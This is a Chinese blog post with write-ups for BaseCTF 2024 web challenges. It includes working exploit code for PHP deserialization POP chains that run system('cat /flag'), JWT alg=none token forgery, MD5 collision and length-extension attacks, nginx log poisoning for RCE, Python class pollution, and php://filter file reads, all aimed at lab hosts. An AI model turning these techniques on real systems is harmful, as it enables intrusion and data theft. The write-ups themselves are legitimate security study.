Base2024

Aura 酱的礼物

ssrf

data伪协议

格式

data://text/plain,xxx能读取出内容

data://text/plain;base64,xxxxxxxxxxxx先base64解码 再读取出内容

@隔断

当要求url开头时,使用@来分隔

file=http://baidu.com@127.0.0.1

源码

<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

data伪协议

隔断开头@

filter读取文件内容

image-20240903145837812

你听不到我的声音

shell_exec函数

shell_exec 函数执行系统命令,但它将命令的输出作为字符串返回

绕过shell_exec函数

shell_exec函数会保护命令的执行导致没有回显,所以、需要将回显的内容导入一个txt文件中显示,使用tee命令

tee命令

格式

tee 选项 文件

选项:

  • -a:追加内容到文件的末尾

参考

保存命令 输出到文件
ls | tee file.txt
同时显示和保存命令输出
ls | tee -a file.txt

...

备份文件
cat file.txt | tee file_backup.txt	#备份file文件

image-20240903155245930

image-20240903155226336

RCEisamazingwithspace

绕过空格

  • $
  • $IFS$1
  • ${IFS}$1

ez_ser

反序列化

源码

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

exp

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }

}

$web = new web();
$re = new re();
$web->kw=$re;	#调用tostring

$pwn = new pwn();
$re->chu0=$pwn;	#访问不存在的$nonononono

$misc = new misc();
$pwn->dusk="gods";	#赋值gods
$pwn->over=$misc;	#调用over为misc对象

echo serialize($web);

image-20240903171205238

Really EZ POP

反序列化 构造pop链

源码

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo 123;';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

exp

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'system("cat /flag");';
    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function setWord($word)
    {
        $this->word = $word;
    }
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;   #访问不存在的变量see 触发get
    }
}

$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
$nature = new Nature();

$nature->sea=$sea;
$sea->animal=$shark;
$shark->setWord($sink);

echo urlencode(serialize($nature));

pop链

destruct访问不存在的see触发get
get调用animal
构造了setWord去调用了私有属性word
最后去触发tostring

数学大师

一开始以为是计算pin码

看了wp才知道就是纯计算

官方wp

import requests
import re

req = requests.session()
url = "http://challenge.basectf.fun:24989/"

answer = 0
while True:
    response = req.post(url , data={"answer": answer})
    print(response.text)
    if "BaseCTF" in response.text:
        print(response.text)
        break
    regex = r" (\d*?)(.)(\d*)\?"
    match = re.search(regex, response.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))

image-20240903213652593

image-20240903213819270

所以你说你懂 MD5?

源码

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 

使用工具fasstcoll 参考,burp抓包(hackbar将不可见字符过滤掉了)

image-20240904111444691

哈希长度拓展攻击

参考

if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));

若未设置random,则生成三个长度为16字节的随机二进制字符串,储存在$_SESSION['random']

$random =$_SESSION['random'];
echo md5($random);

赋值,输出该值的md5

$name = $_POST['name'] ?? 'user';

如果变量name不存在,默认为user

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

检查变量$name的值是否以字符串'admin'结尾

如果不是,脚本将终止执行并输出 '不是管理员也来凑热闹?'

if (md5($random .$name) !== $md5) {
    die('伪造? NO NO NO!');
}

计算变量$random$name拼接后的字符串的MD5

假设$radom的值为111111,所以$random拼接$name的值为111111admin,要使这段字符串的md5和题目给出的md5相等

image-20240913204907537

image-20240913205340647

image-20240913205449761

滤个不停

源码

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>

数组绕过strpos函数

image-20240912212944987

无法绕过

Nginx

回到第二个if,可以将Nginx中的日志改掉,Nginx中日志分两种,一种是error.log,一种是access.log

error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)

抓包修改ua,进行rce

此时写入的php代码 会被解析成RCE

image-20240913210929667

flag直接读取不就行了?

源码

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);

本题主要是利用两个函数 一个目录遍历函数和一个操作文件函数

要求遍历目录

$dir = new $Keng($Wang);

创建一个能遍历目录的对象

foreach($dir as $f) {
    echo($f . '<br>');
}

使用foreach循环遍历该对象的每个文件,并将问价名输出到页面上

new $J1ng($Hong);

把W的参数传递给J,执行J

DirectoryIterator遍历目录函数

示例

<?php
$dir = new DirectoryIterator('path/to/directory');
foreach ($dir as $file) {
    if ($file->isFile()) {
        echo $file->getFilename() . "<br>";
    }
}

创建对象,传入要遍历的路径,然后 使用forear循环遍历目录中的每个文件

(如果当前项是一个文件 则输出文件名)

构造 W=/secret/,K=DirectoryIterator,使其遍历路径

image-20240920095223304

post是伪协议读取

SplFileObject操作文件函数

示例

<?php
// 打开文件
$file = new SplFileObject('path/to/file.txt', 'r');

// 逐行读取文件内容
foreach ($file as $line) {
    echo $line . "<br>";
}

// 关闭文件
$file = null;
$file = new SplFileObject('path/to/file.txt', 'r');

传入想要读取的文件的路径模式

构造payload

image-20240920100333255

image-20240920100420833

圣钥之战1.0

image-20240920101022270

源码

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

原型链污染

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

当传入为post时,检查请求是否为JSON格式。如果是JSON格式,它会将请求数据解析为JSON对象,并将其与instance变量合并

__file__加载模块的文件的路径名

在read路由 可以用 __file__读取flag

image-20240920210044913

访问/read 得到flag

玩原神玩的

源码

<?php
highlight_file(__FILE__);
error_reporting(0);

include 'flag.php';
if (sizeof($_POST['len']) == sizeof($array)) {
    ys_open($_GET['tip']);
} else {
    die("错了!就你还想玩原神?❌❌❌");
}

function ys_open($tip) {
    if ($tip != "我要玩原神") {
        die("我不管,我要玩原神!");
    }
    dumpFlag();
}

function dumpFlag() {
    if (!isset($_POST['m']) || sizeof($_POST['m']) != 2) {
        die("可恶的QQ人!");
    }
    $a = $_POST['m'][0];
    $b = $_POST['m'][1];
    if(empty($a) || empty($b) || $a != "100%" || $b != "love100%" . md5($a)) {
        die("某站崩了?肯定是某忽悠干的!");
    }
    include 'flag.php';
    $flag[] = array();
    for ($ii = 0;$ii < sizeof($array);$ii++) {
        $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
    }

    echo json_encode($flag);
} 
if (sizeof($_POST['len']) == sizeof($array)) 

先获取 len的长度 在检查其数组长度是否等于$array的长度

  $a = $_POST['m'][0];
  $b = $_POST['m'][1];

post 将 m 的数组的第一个元素赋值给 a ,第二个赋值给 b

$flag[] = array();
    for ($ii = 0;$ii < sizeof($array);$ii++) {
        $flag[$ii] = md5(ord($array[$ii]) ^ $ii);
    }

初始化空数组flag

这是一个 for 循环,从 0 开始,直到它达到 $array 的长度减一

$flag[$ii] = md5(ord($array[$ii]) ^ $ii);
  • ord($array[$ii]) 获取 $array 中索引为 $ii 的字符的 ASCII 值。
  • ^ $ii 对 ASCII 值和索引 $ii 进行按位异或操作。
  • md5(...) 计算异或操作结果的 MD5 散列值。
  • 生成的散列值被赋值给 $flag 数组中索引为 $ii 的位置。

说实话没太看明白

参考:官方wp参考文章

No JWT

源码

from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
            'sub': username,
            'role': 'user',  # 普通用户角色
            'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
        }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')
    
    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403
            
        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

/login生成 JWT token

/flag 路由:这是一个 GET 请求的接口,需要客户端在请求头中携带一个名为 'Authorization' 的字段,其值为 "Bearer "。这个接口会检查传入的 token 是否有效,如果有效且用户角色为 'admin',则读取并返回服务器上的 flag 文件内容

JWT

JSON Web Token,它定义了一种紧凑的、自包含的方式,用于作为 JSON 对象在各方之间安全地传输信息。JWT通过将用户信息封装成token的方式进行身份验证。

JWT 这种结构化体可以分为HEADER(头部)、PAYLOAD(数据体)和 SIGNATURE(签名)三部分。经过签名之后的 JWT 的整体结构,是被句点符号分割的三段内容,结构为 header.payload.signature详情请见https://jwt.io/introduction

参考

token使用的是可逆的base64编码

将算法修改为None

算法是指将 alg 字段设置为空,则签名部分将被置空,这样的话任何token都将是有效的

以此来伪造admin

import jwt
# payload

token_dict = {

  "sub": "Goku",

  "role": "admin",

  "exp": 1725693437

}


headers = {

  "alg": "none",

  "typ": "JWT"

}

jwt_token = jwt.encode(token_dict,  # payload, 有效载体

                       "",  # 进行加密签名的密钥

                       algorithm="none",  # 指明签名算法方式, 默认也是HS256

                       headers=headers

                       # json web token 数据结构包含两部分, payload(有效载体), headers(标头)

                       )

print(jwt_token)

image-20240921151614170

伪造admin,设置头字段 Authorization: Bearer+token

image-20240921151411134

1z_php

源码

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);

参数中带 _[ 替换_

get传参绕过: 当参数中出现 _时 无法直接传参,需要将 [中括号代替 _传入

intval()函数:使用指定的进制 base 转换

image-20240925211017752

intval($emp,0) 不可以是明文的 114514 得是以0开头的整形

ctype_alpha()函数:检查字符串中是否只含字母

构造payload

?e[m.p=0337522

image-20240925213306213

正则回溯绕过

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
import requests

url="http://challenge.basectf.fun:45966/"
params={
    'e[m.p':'0337522',
    'a':'SplFileObject',
    'b':'php://filter/convert.base64-encode/resource=flag.php',
    'c':'__toString'
}
data={
    'try':'1'*1000002+'HACKER'
}
r=requests.post(url=url,params=params,data=data)
print(r.text)
posted @ 2024-09-07 09:41  Yolololololo  阅读(29)  评论(0编辑  收藏  举报